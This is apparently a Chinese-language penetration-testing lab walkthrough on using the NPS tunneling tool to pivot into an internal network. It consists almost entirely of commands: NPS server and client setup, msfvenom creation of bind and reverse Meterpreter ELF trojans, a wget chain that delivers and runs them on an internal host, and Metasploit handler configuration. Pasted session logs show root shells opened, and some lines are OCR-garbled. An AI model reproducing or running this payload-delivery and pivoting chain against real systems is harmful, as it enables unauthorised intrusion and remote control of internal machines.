NPS隧道
概述
NPS 是一款轻量级、高性能、功能强大的内网穿透代理服务器。
GitHub地址：https://github.com/ehang-io/nps
目前支持 tcp、udp 流量转发，可支持任何 tcp、udp 上层协议（访问内网网站、本地支付接口调试、ssh 访问、远程桌面，内网 dns 解析等等……），此外还支持内网 http 代理、内网 socks5 代理、p2p 等，并带有功能强大的 Web 管理端。
NPS分为客户端（npc）与服务端（nps）：
服务端通常部署在具有公网 IP的服务器，负责接收并转发请求；

客户端部署在需要被访问的内网机器上，它主动向外发起连接，是内网服务的实际代理。

隧道搭建
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kali作为nps的服务端，外网服务器作为NPS的客户端。
#1. 将物理机中的npc客户端上传给外网服务器，nps服务端上传给kali

python  -m http.server



#1.1 kali

http://192.168.88.1:8000/linux_amd64_server.tar.gz



#1.2 外网服务器

wget http://192.168.88.1:8000/linux_amd64_client.tar.gz



#2. 服务端搭建

#2.1 解压.gz压缩包

tar -zxvf linux_amd64_server.tar.gz



#2.2 安装

./nps install



#2.3 启动服务

./nps start



#2.4 根据nps的配置文件，端口为8080，账号与密码分别是admin、123

vim ./conf/nps.conf



#3. 隧道搭建

#在kali中访问8080登录NPS的服务端，创建新的客户端。



#4. 外网服务器上线

#4.1 对客户端的压缩包解压

tar -zxcf ./linux_amd64_client.tar.gz



#4.2 解压之后，执行服务端中新增加的客户命令

./npc -server=192.168.88.104:8024 -vkey=suf633pu7jgx7q0v -type=tcp



#5. 使用浏览器访问kali中的8080端口，基于新的客户端，创建隧道。

#隧道创建中，服务端指的是kali机器的端口，目标地址可以填写内网服务器地址加目标端口
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MSF正向木马
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#1. 创建正向木马

msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=6767 -f elf -o linux_6767.elf



#2. 需要将创建的木马给到内网服务器，木马的传递：kali---外网---内网

#2.1 kali

python -m http.server

#2.2 外网服务器

wget http://192.168.88.104:8000/linux_6767.elf

python -m SimpleHTTPServer 3232

#2.3 内网服务器接收

wget http://10.20.30.128:3232/linux_6767.elf

chmod a+x ./linux_6767.elf

./linux_6767.elf &



#3. 在kali机器中的NPS服务端配置隧道

#服务端配置端口为16767

#目标配置为10.20.30.131:6767



#4.回到kali中的msfconsole进行连接

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/bind_tcp

set lport 16767

set rhost 127.0.0.1

run

目标上线：
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MSF反向木马
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#1. kali作为NPS的客户端，外网服务器作为NPS的服务端

#1.1 卸载kali与外网服务器中的服务端与客户端

nps stop

nps uninstall

npc 停止

ps aux | grep npc

ps aux | grep nps



#如果存在，则使用kill -9 杀掉进程



#2.将物理机中的NPS的服务端上传给外网服务器

#2.1 物理机执行

python -m http.server

#2.2 外网服务器下载

wget http://192.168.88.1:8000/linux_amd64_server.tar.gz



#2.3 解压

tar -zxvf ./linux_amd64_server.tar.gz



#2.4 修改nps的配置文件

vim ./conf/nps.conf

http_proxy_port=1880

https_proxy_port=18443



#2.5 启动nps

./nps install

./nps start



#2.6 访问外网服务器的8080端口

http://192.168.88.125:8080/index/index



#2.7 需要创建客户端

客户端命令: ./npc -server=192.168.88.125:8024 -vkey=nu6kb3u2znffj5ht -type=tcp



#3. kali机器启动NPS的客户端

#3.1 获取物理机器中的NPS客户端

python -m http.server

wget http://192.168.88.1:8000/linux_amd64_client.tar.gz

tar -zxvf ./linux_amd64_client.tar.gz

./npc -server=192.168.88.125:8024 -vkey=nu6kb3u2znffj5ht -type=tcp





#4.创建反弹木马，LHOST为外网服务器的内网IP地址

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.20.30.128 LPORT=9999 -f elf -o linux_9999.elf



#5. 木马传递给内网服务器：kali -- 外网服务器 -- 内网服务器

#5.1 kali

python -m http.server



#5.2 外网服务器下载并传输

wget http://192.168.88.104:8000/linux_9999.elf

python -m SimpleHTTPServer 2323



#5.3 内网服务器下载木马

wget http://10.20.30.128:2323/linux_9999.elf

chmod a+x ./linux_9999.elf





#6. 在外网服务器的NPS网站添加新的隧道

#6.1 服务端的端口填写反向木马的lport端口，9999

#6.2 目标填写：kali机器的IP地址与端口192.168.88.104:17777



#7.在kali中启动msfconsole，并且进行监听

msfconsole

use explpoit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.88.104

set lport 17777

run



#8. 在内网服务器执行木马

./linux_9999.elf &

外网服务器的NPS服务管理端：
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MSF中目标上线：
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L—(root@ kali)-[~]
# ssh root@127.0.0.1 —p 9082
The authenticity of host '[127.0.0.1]:9082 ([127.0.0.1]1:9082)' can't be established.
ED25519 key fingerprint is: SHA256:PdYksJtoOnsFm+R20Vwz1j2AYg9JvYGvVolqleOWrrM
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
~/.ssh/known_hosts:3: [hashed name]
~/.ssh/known_hosts:U4: [hashed name]
~/.ssh/known_hosts:5: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]1:9082' (ED25519) to the list of known hosts.
*%* WARNING: connection is not using a post—quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@127.0.0.1's password:
Last login: Mon Oct 12 17:49:40 2026 from 10.20.30.128
[root@localhost ~]# ifconfig
ens33: flags=U4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.20.30.131 netmask 255.255.255.0 broadcast 10.20.30.255
inet6 fe80::a707:ccbb:3c00:dod7 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:68:1b:f6 txqueuelen 1000 (Ethernet)
RX packets 11731 bytes 8155057 (7.7 MiB)
RX errors 0 dropped © overruns © frame 0O
TX packets 17137 bytes 24311325 (23.1 MiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 510 bytes 55509 (54.2 KiB)
RX errors © dropped © overruns © frame 0O
TX packets 510 bytes 55509 (54.2 KiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

[root@localhost ~]#
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msf exploit(multi/handler) > set lport 16767

lport => 16767

msf exploit(multi/handler) > set rhost 127.0.0.1

rhost => 127.0.0.1

msf exploit(multi/handler) > run

[*] Started bind TCP handler against 127.0.0.1:16767

[*] Sending stage (3106788 bytes) to 127.0.0.1

[*] Meterpreter session 1 opened (127.0.0.1:39129 -> 127.0.0.1:16767) at 2026-10-13 10:56:33 +0800

meterpreter > getuid
Server username: root

meterpreter > ifconfig

Interface 1

Name : lo

Hardware MAC : 00:00:00:00:00:00
MTU : 65536

Flags : UP,LOOPBACK

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff.Fffff.Frff:FFFf::

Interface 2

Name : ens33

Hardware MAC : 00:0c:29:68:1b:f6

MTU : 1500

Flags : UP,BROADCAST, MULTICAST

PPvld Address : 10.20.30.131

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::a707:ccbb:3c00:dou7
ITPvE Netmack - FfFff-FfEff-FLEFE-€£F£- -
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msf exploit(multi/handler) > set payload linux/x6U/meterpreter/reverse_tcp

payload => linux/x6U4/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.88.104

lhost => 192.168.88.104

msf exploit(multi/handler) > set lport 17777

lport => 17777

msf exploit(multi/handler) > run

[+*] Started reverse TCP handler on 192.168.88.104:17777

[#] Sending stage (3106788 bytes) to 192.168.88.104

[*] Meterpreter session 2 opened (192.168.88.104:17777 —-> 192.168.88.1604:40334) at 2026-10-13 12:00:10 +0800

meterpreter > getuid
Server username: root

meterpreter > ifconfig

Interface 1

Name : lo

Hardware MAC : 00:00:00:00:00:00
MTU : 65536

Flags : UP,LOOPBACK

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff.Fffff.frff:.FfFf::

Interface 2

Name : ens33

Hardware MAC : 00:0c:29:68:1b:f6

MTU : 1500

Flags : UP,BROADCAST, MULTICAST

PPvld Address : 10.20.30.131

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::a707:ccbb:3c00:dou7
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter >
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